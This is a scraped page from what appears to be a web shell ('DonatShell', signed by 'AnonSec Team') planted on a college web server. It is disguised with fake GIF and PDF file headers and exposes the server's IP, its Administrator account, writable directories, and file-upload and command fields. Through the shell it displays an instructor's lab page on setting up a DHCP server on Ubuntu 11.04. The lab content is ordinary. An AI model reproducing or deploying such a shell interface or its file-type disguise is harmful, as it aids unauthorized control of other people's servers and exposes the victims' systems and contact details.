GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST2608/Labs/_Archive/Lab12/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST2608/Labs/_Archive/Lab12/Lab12.phpinc
<?
// JimMartinson/CST2608/Lab12/Lab12.phpinc

$evaluationNumber = 12;
$evaluationType = "Lab";
$evaluationTitle = "DHCP server setup on Ubuntu 11.04";
$evaluationType = "Lab";
$evaluationTitle = $evaluationTitle;
if (strlen($evaluationNumber) == 1) { $evaluationName = $evaluationType."0".$evaluationNumber; $evaluationName = $evaluationType."0".$evaluationNumber; } else { 
$evaluationName = $evaluationType.$evaluationNumber; $evaluationName = $evaluationType.$evaluationNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;

$title = $evaluationType." ".$evaluationNumber.": ".$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$js='openCenteredWindow';
include('common/pageHeader.phpinc');
include('JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
include('common/sectionHeader.phpinc');
?>
<p>
<fieldset><legend>Description</legend>
Setup a DHCP server.
<br><a href="https://help.ubuntu.com/11.10/serverguide/C/dhcp.html">Ubuntu Documentation > Ubuntu 11.10 > Ubuntu Server Guide > Networking > Dynamic Host Configuration Protocol (DHCP)</a><br>We need to use Ubuntu 11.10 docs (Ubuntu 11.04 docs are no longer available).
</fieldset>

<fieldset><legend>Lab Instruction</legend>
<ol start="1">
  <li>Configure a static IP address on your Ubuntu 11.04 server.
    <br>I have assigned the last octet of the IP address you must use for your Ubuntu 11.04 server. It is .<b><?=$Uipaddress?></b>.
    <br>Note that I have found that the Gnome network configuration utility is missing in Ubuntu 11.04.
    <br>You will have to edit the /etc/network/interfaces file manually. I used the command:
    <br><kbd>sudo gedit /etc/network/interfaces</kbd>, commented out the <code>iface eth0 inet dhcp</code> line and added:
    <pre class="code">iface eth0 inet static
address 192.168.ccc.<?=$Uipaddress?>

netmask 255.255.255.0
gateway 192.168.ccc.2</pre> 
Note: My VMnet8 network is 192.168.<?=$Iccc?>.0 so I would replace <span class="code">ccc</span> with <span class="code"><?=$Iccc?></span>.
    <!-- 
    <br>You can install the Gnome network admin with: <kbd>sudo apt-get install gnome-network-admin</kbd>, but this utility no longer allows editing the IP address.
     -->
  </li>
  <li>Install and configure DHCP server on you 11.04 Ubuntu server.
  	<br>Configure it to lease IP addresses in a range from .200 to .225.
    <br>WARNING: Ubuntu 11.04 usually installs the isc-dhcp-server instead of the dhcp-server. You can determine which is installed by looking in the /etc/init.d directory. If you have a <b>isc-dhcp-server</b> file then isc-dhcp-server is installed. If you have a <b>dhcp-server</b> file then dhcp-server is installed. If the isc-dhcp-server is installed then you need to edit the /etc/default/isc-dhcp-server and /etc/dhcp/dhcpd.conf files and start your server using <kbd>sudo /etc/init.d/isc-dhcp-server start</kbd>.
  </li>
	<li>Setup an XP VMware machine that uses the same network your Ubuntu server is on and to use DHCP.
  	<ol type="a">
			<li>Restart or renew the interface on the XP VMware machine to obtain an IP address from your Ubuntu 11.04 DHCP server.
				<br>From a Windows XP VMware machine use the commands:
				<br><kbd>ipconfig /release</kbd>
				<br><kbd>ipconfig /renew</kbd>
				<br>Take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFileName?>.png</b>.
			</li>
			<li>Display the IP address information.
				<br>From a Windows XP VMware machine use the command:
				<br><kbd>ipconfig /all</kbd>
				<br>Take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFileName?>.png</b>.
			</li>
    </ol>
  </li>
  <li>
   	<a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">Send an email</a> to jim.martinson@ridgewater.edu with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following files:
      <ol type="a">
      	<li><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFileName?>.png.</li>
      	<li><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFileName?>.png.</li>
      	<li>/etc/default/isc-dhcp-server or /etc/default/dhcp-server.</li>
      	<li>/etc/dhcp/dhcpd.conf or /etc/dhcp/dhcpd.conf.</li>
      	<li>/etc/network/interfaces.</li>
      </ol>
  </li>
</ol>
</fieldset>

<fieldset><legend>Grading Criteria</legend>
Demonstrated assignment effectively: 10 points.
<br>
There are some things I expect. If they are incorrect you will lose the following:
<br>
Incorrect attachment file name: -1 pt.
<br>
Work submitted incorrectly: -1pt.
<br>
Incorrect subject in email: -1pt.
<br>
Second and subsequent submission of work for grading: -1pt.
<br>
Work submitted late: -1pt per week.
</fieldset>

<fieldset class="pio"><legend>Objectives</legend>
<ol class="obj pio" start="4">
	<!-- 2 4 -->
	<li>Describe TCP/IP networking.</li>
	<li>Install and configure Dynamic Host Configuration Protocol (DHCP).</li>
	<li>Use DHCP.</li>
</ol>
</fieldset>

<?
include('../../ReferencesResources.phpinc');
include('common/sectionFooter.phpinc');
#setDebugOn();
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team